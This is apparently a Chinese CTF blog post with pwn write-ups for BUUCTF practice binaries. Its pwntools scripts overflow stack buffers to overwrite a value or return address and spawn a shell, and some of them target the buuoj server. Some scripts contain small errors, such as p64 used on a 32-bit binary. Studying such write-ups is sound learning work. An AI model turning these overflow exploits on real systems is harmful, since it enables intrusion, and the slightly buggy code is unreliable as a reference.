buuctf-pwn刷题(二)

ciscn_2019_n_1

直接运行一波
在这里插入图片描述
猜数字的
checksec file一下

在这里插入图片描述
放入ida
发现func函数里面有 东西
在这里插入图片描述
这个是一道溢出题,我们输入的数字给v1,但是在进行判断的时候,用的是v2,我们需要溢出v2,使其等于目标值
查看一下栈空间
在这里插入图片描述
我们发现v2在栈上04的位置,也就是(0x30-4)
11.28125转化为十六进制为0x41348000
这里有个骚操作
在这里插入图片描述
发现这个是直接对比,所以就直接看到16进制,就不用在转化了、
pay load= b’A’*(0x30-4) + p64(0x41348000)

from pwn import *
payload =  b'A'*(0x30-4) + p64(0x41348000)
#p = process('./ciscn_2019_n_1')
p = remote('node4.buuoj.cn',26032)
p.sendline(payload)
p.interactive()

pwn1_sctf_2016

执行一下
在这里插入图片描述
似乎出现第一个i被替换成you
检查一下保护机制
在这里插入图片描述
丢到ida里面
在这里插入图片描述

输入的变量s大小为0x3c,但是我们看fgets里面,我们只能输入32个字符,没法进行溢出,
我们在输入的时候,会发现i会被替换成you,所以我们可以利用20个i来填充,

找到shell,地址为0x8048F0D
在这里插入图片描述
在这里插入图片描述
返回地址再随便填四个字符

我们可以构造一下payload
payload = ‘I’*20 + p64(0x8048F0D)

exp

from pwn import *
p = process('./pwn1_sctf_2016')
payload = 'I'*20 +'A'*4+ p64(0x8048F0D)
p.send(payload)
p.interactive()

jarvisoj_level0

先运行一下
在这里插入图片描述
多输入一些字符,发现会报错
在这里插入图片描述
F5查看伪代码
在这里插入图片描述
查看vnlerable_function函数
在这里插入图片描述
可以发现buf里面是128,但是可以输入0x200,
我们查看一下buf的栈空间
在这里插入图片描述
在callsystem函数处找到函数shell地址
在这里插入图片描述
在这里插入图片描述

payload = ‘A’*(0x80+8) + p64(0x400596)

from pwn import *
#p = process('./jarvisoj_level0')
p = remote('node4.buuoj.cn',29054)
payload = 'A'*(0x80+8) +	p64(0x400596)
p.sendline(payload)
p.interactive()

ciscn_2019_c_1

先执行一下
在这里插入图片描述
Encryption 加密
看一下主函数的伪代码
在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值